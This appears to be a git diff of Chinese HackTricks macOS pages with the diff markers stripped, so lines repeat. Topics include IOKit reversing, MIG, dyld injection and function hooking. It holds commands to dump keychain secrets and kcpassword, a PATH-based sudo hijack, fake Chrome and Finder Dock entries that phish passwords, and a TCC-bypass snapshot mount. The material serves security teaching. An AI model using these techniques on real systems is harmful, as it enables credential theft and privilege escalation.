在 IORegistryExplorer 中,“平面”用于组织和显示 IORegistry 中不同对象之间的关系。每个平面代表特定类型的关系或系统硬件和驱动程序配置的特定视图。以下是您可能在 IORegistryExplorer 中遇到的一些常见平面:
1. **IOService 平面**:这是最通用的平面,显示代表驱动程序和 nubs驱动程序之间的通信通道的服务对象。它显示这些对象之间的提供者-客户端关系。
1. **IOService 平面**:这是最一般的平面,显示代表驱动程序和 nubs驱动程序之间的通信通道的服务对象。它显示这些对象之间的提供者-客户端关系。
2. **IODeviceTree 平面**:该平面表示设备与系统之间的物理连接。它通常用于可视化通过 USB 或 PCI 等总线连接的设备层次结构。
3. **IOPower 平面**:以电源管理的方式显示对象及其关系。它可以显示哪些对象影响其他对象的电源状态,对于调试与电源相关的问题非常有用。
4. **IOUSB 平面**:专注于 USB 设备及其关系,显示 USB 集线器和连接设备的层次结构。
@ -150,11 +150,11 @@ IOObjectRelease(iter);
return 0;
}
```
有**其他**函数可以用来调用 IOKit 函数,除了 **`IOConnectCallScalarMethod`**,还有 **`IOConnectCallMethod`**、**`IOConnectCallStructMethod`**...
有**其他**函数可以用来调用 IOKit 函数,除了 **`IOConnectCallScalarMethod`**,还有 **`IOConnectCallMethod`**、**`IOConnectCallStructMethod`**...
## 反向工程驱动入口点
您可以从 [**固件镜像 (ipsw)**](./#ipsw) 中获取这些。例如,将其加载到您喜欢的反编译器中。
您可以从 [**固件映像 (ipsw)**](#ipsw) 中获取这些。例如,将其加载到您喜欢的反编译器中。
您可以开始反编译 **`externalMethod`** 函数,因为这是接收调用并调用正确函数的驱动函数:
@ -162,7 +162,7 @@ return 0;
<figure><img src="../../../images/image (1169).png" alt=""><figcaption></figcaption></figure>
那个可怕的调用去混淆意味着
那个可怕的调用去掉混淆后的意思是
```cpp
IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
```
@ -200,7 +200,7 @@ OSObject * target, void * reference)
<figure><img src="../../../images/image (1179).png" alt="" width="563"><figcaption></figcaption></figure>
正如我们现在所看到的,这里有一个 **7 个元素的数组**(检查最终的反编译代码),点击创建一个 7 个元素的数组:
现在我们知道这里有一个 **7 个元素的数组**(检查最终的反编译代码),点击创建一个 7 个元素的数组:
<figure><img src="../../../images/image (1180).png" alt="" width="563"><figcaption></figcaption></figure>
@ -209,6 +209,6 @@ OSObject * target, void * reference)
<figure><img src="../../../images/image (1181).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> 如果您记得,从用户空间 **调用** 一个 **导出** 函数,我们不需要调用函数的名称,而是 **选择器编号**。在这里,您可以看到选择器 **0** 是函数 **`initializeDecoder`**,选择器 **1****`startDecoder`**,选择器 **2****`initializeEncoder`**...
> 如果您记得,从用户空间 **调用** 一个 **导出** 函数,我们不需要调用函数的名称,而是 **选择器编号**。在这里,您可以看到选择器 **0** 是函数 **`initializeDecoder`**,选择器 **1****`startDecoder`**,选择器 **2****`initializeEncoder`**...
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -41,32 +41,32 @@ security dump-keychain -d #Dump all the info, included secrets (the user will be
### Keychaindump 概述
一个名为 **keychaindump** 的工具被开发出来以从 macOS 钥匙串中提取密码,但在像 Big Sur 这样的较新 macOS 版本上面临限制,如 [讨论](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760) 中所述。使用 **keychaindump** 需要攻击者获得访问权限并提升到 **root** 权限。该工具利用了钥匙串在用户登录时默认解锁的事实,以方便应用程序访问,而无需用户重复输入密码。然而,如果用户选择在每次使用后锁定他们的钥匙串,**keychaindump** 将变得无效。
一个名为 **keychaindump** 的工具被开发出来以从 macOS 钥匙串中提取密码,但在像 Big Sur 这样的较新 macOS 版本上面临限制,如 [讨论](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760) 所示。使用 **keychaindump** 需要攻击者获得访问权限并提升到 **root** 权限。该工具利用了钥匙串在用户登录时默认解锁的事实,以方便应用程序访问,而无需用户重复输入密码。然而,如果用户选择在每次使用后锁定他们的钥匙串,**keychaindump** 将变得无效。
**Keychaindump** 通过针对一个特定的进程 **securityd** 来操作Apple 将其描述为一个用于授权和加密操作的守护进程,对于访问钥匙串至关重要。提取过程涉及识别一个从用户登录密码派生的 **Master Key**。这个密钥对于读取钥匙串文件是必不可少的。为了找到 **Master Key****keychaindump** 使用 `vmmap` 命令扫描 **securityd** 的内存堆,寻找标记为 `MALLOC_TINY` 的区域中的潜在密钥。以下命令用于检查这些内存位置:
```bash
sudo vmmap <securityd PID> | grep MALLOC_TINY
```
在识别潜在的主密钥后,**keychaindump** 在堆中搜索特定模式 (`0x0000000000000018`),这表明是主密钥的候选者。进一步的步骤,包括去混淆,都是利用此密钥所必需的,正如 **keychaindump** 的源代码中所述。专注于该领域的分析师应注意,解密钥匙串的关键数据存储在 **securityd** 进程的内存中。运行 **keychaindump** 的示例命令是:
在识别潜在的主密钥后,**keychaindump** 在堆中搜索特定模式 (`0x0000000000000018`),这表明一个主密钥的候选者。进一步的步骤,包括去混淆,都是利用这个密钥所必需的,正如 **keychaindump** 的源代码中所概述的。专注于这一领域的分析师应注意,解密钥匙串的关键数据存储在 **securityd** 进程的内存中。运行 **keychaindump** 的示例命令是:
```bash
sudo ./keychaindump
```
### chainbreaker
[**Chainbreaker**](https://github.com/n0fate/chainbreaker) 可用于以法医可靠的方式从OSX钥匙串中提取以下类型的信息:
[**Chainbreaker**](https://github.com/n0fate/chainbreaker) 可用于以法医可靠的方式从 OSX 密钥链中提取以下类型的信息:
- 哈希钥匙串密码,适合使用 [hashcat](https://hashcat.net/hashcat/) 或 [John the Ripper](https://www.openwall.com/john/) 破解
- 哈希密钥链密码,适合使用 [hashcat](https://hashcat.net/hashcat/) 或 [John the Ripper](https://www.openwall.com/john/) 破解
- 互联网密码
- 通用密码
- 私钥
- 公钥
- X509证书
- X509 证书
- 安全笔记
- Appleshare密码
- Appleshare 密码
给定钥匙串解锁密码、使用 [volafox](https://github.com/n0fate/volafox) 或 [volatility](https://github.com/volatilityfoundation/volatility) 获得的主密钥或如SystemKey的解锁文件Chainbreaker还将提供明文密码。
给定密钥链解锁密码、使用 [volafox](https://github.com/n0fate/volafox) 或 [volatility](https://github.com/volatilityfoundation/volatility) 获得的主密钥,或如 SystemKey 的解锁文件Chainbreaker 还将提供明文密码。
如果没有这些解锁钥匙串的方法Chainbreaker将显示所有其他可用信息。
如果没有这些解锁密钥链的方法Chainbreaker 将显示所有其他可用信息。
#### **Dump keychain keys**
```bash
@ -92,7 +92,7 @@ python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d1
```
#### **通过内存转储转储钥匙串密钥(带密码)**
[按照这些步骤](../#dumping-memory-with-osxpmem) 执行 **内存转储**
[按照这些步骤](../index.html#dumping-memory-with-osxpmem) 执行 **内存转储**
```bash
#Use volafox (https://github.com/n0fate/volafox) to extract possible keychain passwords
# Unformtunately volafox isn't working with the latest versions of MacOS
@ -101,18 +101,18 @@ python vol.py -i ~/Desktop/show/macosxml.mem -o keychaindump
#Try to extract the passwords using the extracted keychain passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
```
#### **使用用户密码转储钥匙串密钥(密码)**
#### **使用用户密码转储钥匙串密钥(包括密码)**
如果您知道用户的密码,您可以使用它来**转储和解密属于用户的钥匙串**。
如果您知道用户的密码,您可以使用它来**转储和解密属于用户的钥匙串**。
```bash
#Prompt to ask for the password
python2.7 chainbreaker.py --dump-all --password-prompt /Users/<username>/Library/Keychains/login.keychain-db
```
### kcpassword
**kcpassword** 文件是一个保存 **用户登录密码** 的文件,但在系统所有者 **启用自动登录** 的情况下。因此,用户将自动登录,而无需输入密码(这并不是很安全)。
**kcpassword** 文件是一个保存 **用户登录密码** 的文件,但只有在系统所有者 **启用自动登录** 的情况下。 因此,用户将自动登录,而无需输入密码(这并不是很安全)。
密码存储在文件 **`/etc/kcpassword`** 中,使用密钥 **`0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F`** 进行异或加密。如果用户的密码长度超过密钥,密钥将被重复使用。\
密码存储在文件 **`/etc/kcpassword`** 中,使用密钥 **`0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F`** 进行异或加密。 如果用户的密码长度超过密钥,密钥将被重复使用。\
这使得密码相对容易恢复,例如使用像 [**这个**](https://gist.github.com/opshope/32f65875d45215c3677d) 的脚本。
## Interesting Information in Databases
@ -134,7 +134,7 @@ sqlite3 $HOME/Suggestions/snippets.db 'select * from emailSnippets'
cd $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/
strings $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/db2/db | grep -i -A4 slack
```
### 备注
### Notes
用户的 **notes** 可以在 `~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite` 找到
```bash
@ -191,9 +191,9 @@ for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.s
### Darwin 通知
主要的通知守护进程是 **`/usr/sbin/notifyd`**。为了接收通知,客户端必须通过 `com.apple.system.notification_center` Mach 端口注册(使用 `sudo lsmp -p <pid notifyd>` 检查它们)。该守护进程可以通过文件 `/etc/notify.conf` 进行配置。
主要的通知守护进程是 **`/usr/sbin/notifyd`**。为了接收通知,客户端必须通过 `com.apple.system.notification_center` Mach 端口进行注册(使用 `sudo lsmp -p <pid notifyd>` 检查它们)。该守护进程可以通过文件 `/etc/notify.conf` 进行配置。
用于通知的名称是唯一的反向 DNS 表示法,当发送通知到其中一个名称时,已指明可以处理该通知的客户端将接收到它。
用于通知的名称是唯一的反向 DNS 表示法,当向其中一个名称发送通知时,已指明可以处理该通知的客户端将接收到它。
可以通过向 notifyd 进程发送 SIGUSR2 信号并读取生成的文件 `/var/run/notifyd_<pid>.status` 来转储当前状态(并查看所有名称):
```bash
@ -222,7 +222,7 @@ common: com.apple.security.octagon.joined-with-bottle
首选项位于`/Library/Preferences/com.apple.apsd.plist`
在macOS中消息的本地数据库位于`/Library/Application\ Support/ApplePushService/aps.db`在iOS中位于`/var/mobile/Library/ApplePushService`。它有3个表`incoming_messages``outgoing_messages``channel`
在macOS中消息的本地数据库位于`/Library/Application\ Support/ApplePushService/aps.db`在iOS中位于`/var/mobile/Library/ApplePushService`。它有3个表`incoming_messages``outgoing_messages``channel`
```bash
sudo sqlite3 /Library/Application\ Support/ApplePushService/aps.db
```

View File

@ -22,9 +22,9 @@ macos-security-protections/macos-tcc/
### Sudo 劫持
你可以在 Linux 提权帖子中找到原始的 [Sudo 劫持技巧](../../linux-hardening/privilege-escalation/#sudo-hijacking)。
你可以在 [Linux 提权文章中找到原始的 Sudo 劫持技巧](../../linux-hardening/privilege-escalation/index.html#sudo-hijacking)。
然而macOS **保持** 用户的 **`PATH`** 当他执行 **`sudo`** 时。这意味着实现此攻击的另一种方法是 **劫持其他二进制文件**,这些文件受害者 **运行 sudo** 时仍会执行:
然而macOS **保持** 用户的 **`PATH`** 当他执行 **`sudo`** 时。这意味着实现此攻击的另一种方法是 **劫持其他二进制文件**,这些文件受害者 **运行 sudo** 时仍会执行:
```bash
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<EOF
@ -49,7 +49,7 @@ sudo ls
{{#tab name="Chrome Impersonation"}}
一些建议:
- 在 Dock 中检查是否有 Chrome如果有**除**该条目并在 Dock 数组的**相同位置****添加****假****Chrome 条目**。&#x20;
- 在 Dock 中检查是否有 Chrome如果有**除**该条目并在 Dock 数组的**相同位置****添加****假****Chrome条目**。&#x20;
```bash
#!/bin/sh
@ -124,11 +124,11 @@ killall Dock
{{#tab name="Finder Impersonation"}}
一些建议:
- 你**无法从 Dock 中移除 Finder**,所以如果你要将其添加到 Dock 中,可以将假 Finder 放在真实 Finder 旁边。为此,你需要**将假 Finder 条目添加到 Dock 数组的开头**。
- 你**无法从 Dock 中移除 Finder**,所以如果你要将其添加到 Dock 中,可以将假 Finder 放在真实 Finder 旁边。为此,你需要**将假 Finder 条目添加到 Dock 数组的开头**。
- 另一个选项是不要将其放在 Dock 中只需打开它“Finder 请求控制 Finder”并不奇怪。
- 另一个选项是**在不询问**密码的情况下提升到 root 权限,使用一个可怕的框,要求 Finder 真的询问密码以执行特权操作:
- 求 Finder 将一个新的 **`sudo`** 文件复制到 **`/etc/pam.d`**提示要求密码将指示“Finder 想要复制 sudo”
- 求 Finder 复制一个新的 **Authorization Plugin**你可以控制文件名以便提示要求密码将指示“Finder 想要复制 Finder.bundle”
- 另一个选项是**在不询问**密码的情况下提升到 root 权限,方法是让 Finder 确实要求输入密码以执行特权操作:
- 求 Finder 将一个新的 **`sudo`** 文件复制到 **`/etc/pam.d`**(提示要求输入密码将指示“Finder 想要复制 sudo”
- 求 Finder 复制一个新的 **Authorization Plugin**(你可以控制文件名,以便提示要求输入密码将指示“Finder 想要复制 Finder.bundle”
```bash
#!/bin/sh
@ -201,12 +201,12 @@ killall Dock
{{#endtab}}
{{#endtabs}}
## TCC - 权限提升
## TCC - Root 权限提升
### CVE-2020-9771 - mount_apfs TCC 绕过和权限提升
**任何用户**(甚至是无权用户)都可以创建和挂载时间机器快照并**访问该快照的所有文件**。\
所需的**唯一特权**是用于的应用程序(如 `Terminal`)必须具有**完全磁盘访问**FDA权限`kTCCServiceSystemPolicyAllfiles`),该权限需要由管理员授予。
**任何用户**(甚至是无权限的用户)都可以创建和挂载时间机器快照并**访问该快照的所有文件**。\
所需的**唯一权限**是用于访问的应用程序(如 `Terminal`)需要具有**完全磁盘访问**FDA权限`kTCCServiceSystemPolicyAllfiles`),该权限需要由管理员授予。
```bash
# Create snapshot
tmutil localsnapshot
@ -230,7 +230,7 @@ ls /tmp/snap/Users/admin_user # This will work
## 敏感信息
对于提升权限可能很有用
可以用于提升权限
{{#ref}}
macos-files-folders-and-binaries/macos-sensitive-locations.md

View File

@ -4,9 +4,9 @@
## 函数插入
创建一个 **dylib**其中包含一个 **`__interpose` (`__DATA___interpose`)** 部分(或一个标记为 **`S_INTERPOSING`** 的部分),该部分包含指向 **原始****替代** 函数的 **函数指针** 元组。
创建一个 **dylib**包含一个 **`__interpose` (`__DATA___interpose`)** 部分(或一个标记为 **`S_INTERPOSING`** 的部分),其中包含指向 **原始****替代** 函数的 **函数指针** 元组。
然后,使用 **`DYLD_INSERT_LIBRARIES`** 注入 dylib插入需要在主应用加载之前发生。显然适用于 **`DYLD_INSERT_LIBRARIES`** 使用的 [**限制** 在这里也适用](macos-library-injection/#check-restrictions)。
然后,使用 **`DYLD_INSERT_LIBRARIES`** 注入 dylib插入需要在主应用加载之前发生。显然适用于 **`DYLD_INSERT_LIBRARIES`** 使用的 [**限制** 在这里也适用](macos-library-injection/index.html#check-restrictions)。
### 插入 printf
@ -80,11 +80,11 @@ Hello from interpose
> [!WARNING]
> **`DYLD_PRINT_INTERPOSTING`** 环境变量可用于调试插入,并将打印插入过程。
还要注意,**插入发生在进程加载的库之间**,它不适用于共享库缓存。
还要注意,**插入发生在进程加载的库之间**,它不适用于共享库缓存。
### 动态插入
现在也可以使用函数 **`dyld_dynamic_interpose`** 动态插入一个函数。这允许在运行时以编程方式插入一个函数,而不是仅仅从一开始就这样做。
现在也可以使用 **`dyld_dynamic_interpose`** 动态插入一个函数。这允许在运行时以编程方式插入一个函数,而不是仅仅从一开始就这样做。
只需指明 **要替换的函数和替换函数的元组**
```c
@ -99,14 +99,14 @@ const struct dyld_interpose_tuple array[], size_t count);
在 ObjectiveC 中,方法调用的方式是:**`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
需要 **对象**、**方法**和 **参数**。当调用一个方法时,使用函数 **`objc_msgSend`** 发送 **msg**`int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
需要 **对象**、**方法**和 **参数**。当调用一个方法时,使用函数 **`objc_msgSend`** 发送 **msg**`int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
对象是 **`someObject`**,方法是 **`@selector(method1p1:p2:)`**,参数是 **value1****value2**。
根据对象结构,可以访问一个 **方法数组**,其中 **名称****指向方法代码的指针****存放**
> [!CAUTION]
> 请注意,由于方法和类是根据其名称访问的,因此这些信息存储在二进制文件中,因此可以使用 `otool -ov </path/bin>` 或 [`class-dump </path/bin>`](https://github.com/nygard/class-dump) 检索
> 请注意,由于方法和类是基于其名称访问的,因此这些信息存储在二进制文件中,因此可以使用 `otool -ov </path/bin>` 或 [`class-dump </path/bin>`](https://github.com/nygard/class-dump) 检索。
### 访问原始方法
@ -176,9 +176,9 @@ NSLog(@"Uppercase string: %@", uppercaseString3);
return 0;
}
```
### 方法交换与 method_exchangeImplementations
### Method Swizzling with method_exchangeImplementations
函数 **`method_exchangeImplementations`** 允许 **更改** **一个函数的实现地址为另一个函数**。
函数 **`method_exchangeImplementations`** 允许 **更改** **一个函数的实现地址为另一个函数的实现地址**。
> [!CAUTION]
> 因此,当调用一个函数时,**执行的是另一个函数**。
@ -226,13 +226,13 @@ return 0;
}
```
> [!WARNING]
> 在这种情况下,如果**合法**方法的**实现代码**对**方法**的**名称**进行**验证**,它可能会**检测**这种交换并阻止其运行。
> 在这种情况下,如果**合法**方法的**实现代码**对**方法**的**名称**进行**验证**,它可能会**检测**这种交换并阻止其运行。
>
> 以下技术没有这个限制。
### 使用 method_setImplementation 进行方法交换
之前的格式很奇怪,因为你正在将两个方法的实现互。使用函数 **`method_setImplementation`**,你可以**更改**一个**方法的实现为另一个**。
之前的格式很奇怪,因为你正在将两个方法的实现互相更改。使用函数 **`method_setImplementation`**,你可以**更改**一个**方法的实现为另一个**。
只需记住,如果你打算在覆盖之前从新实现中调用原始实现,请**存储原始实现的地址**,因为稍后定位该地址会更加复杂。
```objectivec
@ -290,13 +290,13 @@ return 0;
在本页中讨论了不同的函数钩取方法。然而,它们涉及到**在进程内部运行代码进行攻击**。
为了做到这一点,最简单的技术是通过环境变量或劫持注入一个[Dyld](macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md)。然而,我想这也可以通过[Dylib 进程注入](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port)来完成。
为了做到这一点,最简单的技术是通过环境变量或劫持注入一个[Dyld](macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md)。不过,我想这也可以通过[Dylib进程注入](macos-ipc-inter-process-communication/index.html#dylib-process-injection-via-task-port)来完成。
然而,这两种选项都**仅限于****未保护**的二进制文件/进程。检查每种技术以了解更多关于限制的信息。
然而,这两种选项都**限制**于**未保护**的二进制文件/进程。检查每种技术以了解更多关于限制的信息。
然而,函数钩取攻击是非常具体的,攻击者会这样做以**从进程内部窃取敏感信息**(否则你只会进行进程注入攻击)。而这些敏感信息可能位于用户下载的应用程序中,例如 MacPass。
然而,函数钩取攻击是非常具体的,攻击者会这样做以**从进程内部窃取敏感信息**否则你只会进行进程注入攻击。而这些敏感信息可能位于用户下载的应用程序中例如MacPass。
因此,攻击者的途径是找到一个漏洞或去掉应用程序的签名,通过应用程序的 Info.plist 注入**`DYLD_INSERT_LIBRARIES`** 环境变量,添加类似于:
因此攻击者的途径是找到一个漏洞或去掉应用程序的签名通过应用程序的Info.plist注入**`DYLD_INSERT_LIBRARIES`**环境变量,添加类似于:
```xml
<key>LSEnvironment</key>
<dict>
@ -311,7 +311,7 @@ return 0;
在该库中添加钩子代码以提取信息:密码、消息...
> [!CAUTION]
> 请注意,在较新版本的 macOS 中,如果您 **去除应用程序二进制文件的签名** 并且它之前已被执行macOS **将不再执行该应用程序**
> 请注意,在较新版本的 macOS 中,如果您 **去除应用程序二进制文件的签名**并且它之前已被执行macOS **将不再执行该应用程序**
#### 库示例
```objectivec

View File

@ -40,7 +40,7 @@ server_port : mach_port_t;
n1 : uint32_t;
n2 : uint32_t);
```
请注意,第一个 **参数是要绑定的端口**MIG 将 **自动处理回复端口**(除非在客户端代码中调用 `mig_get_reply_port()`)。此外,**操作的 ID** 将是 **顺序的**,从指定的子系统 ID 开始(因此,如果某个操作被弃用,它会被删除,并使用 `skip` 以便仍然使用其 ID
请注意,第一个 **参数是要绑定的端口**MIG 将 **自动处理回复端口**(除非在客户端代码中调用 `mig_get_reply_port()`)。此外,**操作的 ID** 将是 **顺序的**,从指定的子系统 ID 开始(因此,如果某个操作被弃用,它将被删除,并且使用 `skip` 仍然使用其 ID
现在使用 MIG 生成能够相互通信以调用 Subtract 函数的服务器和客户端代码:
```bash
@ -104,7 +104,7 @@ return 0;
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
}
```
在这个例子中,我们只在定义中定义了 1 个函数,但如果我们定义了更多函数,它们将位于 **`SERVERPREFmyipc_subsystem`** 数组中,第一个将分配给 ID **500**,第二个将分配给 ID **501**...
在这个例子中,我们只在定义中定义了 1 个函数,但如果我们定义了更多函数,它们将位于 **`SERVERPREFmyipc_subsystem`** 数组中,第一个将分配给 ID **500**,第二个将分配给 ID **501**...
如果该函数预期发送一个 **reply**,则函数 `mig_internal kern_return_t __MIG_check__Reply__<name>` 也会存在。
@ -115,7 +115,7 @@ return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
{ "Subtract", 500 }
#endif
```
最后,另一个使服务器正常工作的关键功能是 **`myipc_server`**,它实际上会 **调用与接收到的 id 相关的函数**
最后,一个使服务器正常工作的另一个重要功能是 **`myipc_server`**,它实际上会 **调用与接收到的 id 相关的函数**
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
@ -149,7 +149,7 @@ return FALSE;
}
</code></pre>
检查之前突出显示的行,访问通过 ID 调用的函数。
检查之前突出显示的行,通过 ID 访问要调用的函数。
以下是创建一个简单的 **服务器****客户端** 的代码,其中客户端可以调用服务器的 Subtract 函数:
@ -219,9 +219,9 @@ USERPREFSubtract(port, 40, 2);
NDR_record 是由 `libsystem_kernel.dylib` 导出的,它是一个结构体,允许 MIG **转换数据,使其与所使用的系统无关**,因为 MIG 被认为是用于不同系统之间的(而不仅仅是在同一台机器上)。
这很有趣,因为如果在二进制文件中找到 `_NDR_record` 作为依赖项(`jtool2 -S <binary> | grep NDR``nm`),这意味着该二进制文件是一个 MIG 客户端或服务器。
这很有趣,因为如果在二进制文件中找到 `_NDR_record` 作为依赖项(`jtool2 -S <binary> | grep NDR``nm`),这意味着该二进制文件是 MIG 客户端或服务器。
此外,**MIG 服务器**在 `__DATA.__const` 中有调度表(在 macOS 内核中为 `__CONST.__constdata`,在其他 \*OS 内核中为 `__DATA_CONST.__const`)。这可以通过 **`jtool2`** 转储。
此外,**MIG 服务器**在 `__DATA.__const` 中有调度表(或在 macOS 内核中的 `__CONST.__constdata` 和其他 \*OS 内核中的 `__DATA_CONST.__const`)。这可以通过 **`jtool2`** 转储。
而 **MIG 客户端**将使用 `__NDR_record` 通过 `__mach_msg` 发送给服务器。
@ -229,9 +229,9 @@ NDR_record 是由 `libsystem_kernel.dylib` 导出的,它是一个结构体,
### jtool
由于许多二进制文件现在使用 MIG 来暴露 mach 端口,因此了解如何 **识别 MIG 的使用** 以及 **MIG 在每个消息 ID 中执行的函数** 是很有趣的。
由于许多二进制文件现在使用 MIG 来暴露 mach 端口,因此了解如何 **识别 MIG 的使用** 以及 **MIG 执行的函数** 与每个消息 ID 是很有趣的。
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2) 可以解析 Mach-O 二进制文件中的 MIG 信息,指示消息 ID 并识别要执行的函数:
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/index.html#jtool2) 可以解析 Mach-O 二进制文件中的 MIG 信息,指示消息 ID 并识别要执行的函数:
```bash
jtool2 -d __DATA.__const myipc_server | grep MIG
```
@ -241,7 +241,7 @@ jtool2 -d __DATA.__const myipc_server | grep BL
```
### Assembly
之前提到过,负责**根据接收到的消息 ID 调用正确函数**的函数是 `myipc_server`。然而,通常你不会拥有二进制文件的符号(没有函数名),因此检查**反编译后的样子**是很有趣的,因为它总是非常相似(此函数的代码与暴露的函数无关):
之前提到过,负责**根据接收到的消息 ID 调用正确函数**的函数是 `myipc_server`。然而,通常你不会拥有二进制文件的符号(没有函数名),因此检查**反编译后的样子**是很有趣的,因为它总是非常相似(此函数的代码与暴露的函数无关):
{{#tabs}}
{{#tab name="myipc_server decompiled 1"}}
@ -249,7 +249,7 @@ jtool2 -d __DATA.__const myipc_server | grep BL
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
var_10 = arg0;
var_18 = arg1;
// 初始指令以找到正确的函数指针
// 初始指令以查找适当的函数指针
*(int32_t *)var_18 = *(int32_t *)var_10 &#x26; 0x1f;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
@ -264,14 +264,14 @@ rax = *(int32_t *)(var_10 + 0x14);
// 0x1f4 = 500起始 ID
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
</strong> var_20 = rax;
// 如果 - 否则if 返回 false而 else 调用正确的函数并返回 true
// 如果 - elseif 返回 false而 else 调用正确的函数并返回 true
<strong> if (rax == 0x0) {
</strong> *(var_18 + 0x18) = **_NDR_record;
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
var_4 = 0x0;
}
else {
// 计算的地址调用带有 2 个参数的正确函数
// 计算的地址调用适当的函数,带有 2 个参数
<strong> (var_20)(var_10, var_18);
</strong> var_4 = 0x1;
}
@ -297,7 +297,7 @@ saved_fp = r29;
stack[-8] = r30;
var_10 = arg0;
var_18 = arg1;
// 初始指令以找到正确的函数指针
// 初始指令以查找适当的函数指针
*(int32_t *)var_18 = *(int32_t *)var_10 &#x26; 0x1f | 0x0;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
@ -332,7 +332,7 @@ if (CPU_FLAGS &#x26; NE) {
r8 = 0x1;
}
}
// 与前一个版本相同的 if else
// 与前版本相同的 if else
// 检查地址 0x100004040 的使用(函数地址数组)
<strong> if ((r8 &#x26; 0x1) == 0x0) {
</strong><strong> *(var_18 + 0x18) = **0x100004000;
@ -340,7 +340,7 @@ r8 = 0x1;
var_4 = 0x0;
}
else {
// 调用计算的地址,函数应该在这里
// 调用计算的地址,函数应该在此处
<strong> (var_20)(var_10, var_18);
</strong> var_4 = 0x1;
}
@ -365,17 +365,17 @@ return r0;
{{#endtab}}
{{#endtabs}}
实际上,如果你去到函数**`0x100004000`**,你会发现**`routine_descriptor`** 结构的数组。结构的第一个元素是**实现函数的地址**,并且**结构占用 0x28 字节**,因此从字节 0 开始每 0x28 字节你可以获取 8 字节,这将是**将被调用的函数的地址**
实际上,如果你去到函数 **`0x100004000`**,你会发现 **`routine_descriptor`** 结构的数组。结构的第一个元素是**函数**实现的**地址**,并且**结构占用 0x28 字节**,因此从字节 0 开始每 0x28 字节你可以获取 8 字节,这将是**将被调用的函数的地址**
<figure><img src="../../../../images/image (35).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../images/image (36).png" alt=""><figcaption></figcaption></figure>
这些数据可以通过[**使用这个 Hopper 脚本**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py)提取。
这些数据可以通过 [**使用这个 Hopper 脚本**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py) 提取。
### Debug
MIG 生成的代码还调用 `kernel_debug` 以生成有关进入和退出操作的日志。可以使用**`trace`**或**`kdv`**检查它们:`kdv all | grep MIG`
MIG 生成的代码还调用 `kernel_debug` 以生成有关进入和退出操作的日志。可以使用 **`trace`** **`kdv`** 检查它们:`kdv all | grep MIG`
## References

View File

@ -3,7 +3,7 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!CAUTION]
> **dyld 的代码是开源的**,可以在 [https://opensource.apple.com/source/dyld/](https://opensource.apple.com/source/dyld/) 找到,并可以使用 **URL 如** [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) 下载为 tar。
> **dyld 的代码是开源的**,可以在 [https://opensource.apple.com/source/dyld/](https://opensource.apple.com/source/dyld/) 找到,并可以使用 **URL 如** [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) 下载为 tar 文件
## **Dyld 进程**
@ -15,12 +15,12 @@ macos-dyld-process.md
## **DYLD_INSERT_LIBRARIES**
这类似于 [**Linux 上的 LD_PRELOAD**](../../../../linux-hardening/privilege-escalation/#ld_preload)。它允许指示即将运行的进程从路径加载特定库(如果环境变量已启用)。
这类似于 [**Linux 上的 LD_PRELOAD**](../../../../linux-hardening/privilege-escalation/index.html#ld_preload)。它允许指示即将运行的进程从路径加载特定库(如果环境变量已启用)。
此技术也可以作为 **ASEP 技术** 使用,因为每个安装的应用程序都有一个名为 "Info.plist" 的 plist允许使用名为 `LSEnvironmental` 的键 **分配环境变量**
此技术也可以 **作为 ASEP 技术使用**,因为每个安装的应用程序都有一个名为 "Info.plist" 的 plist允许使用名为 `LSEnvironmental` 的键 **分配环境变量**
> [!NOTE]
> 自 2012 年以来,**Apple 大幅减少了 `DYLD_INSERT_LIBRARIES` 的权限**。
> 自 2012 年以来,**Apple 大幅减少了** **`DYLD_INSERT_LIBRARIES`** 的功能
>
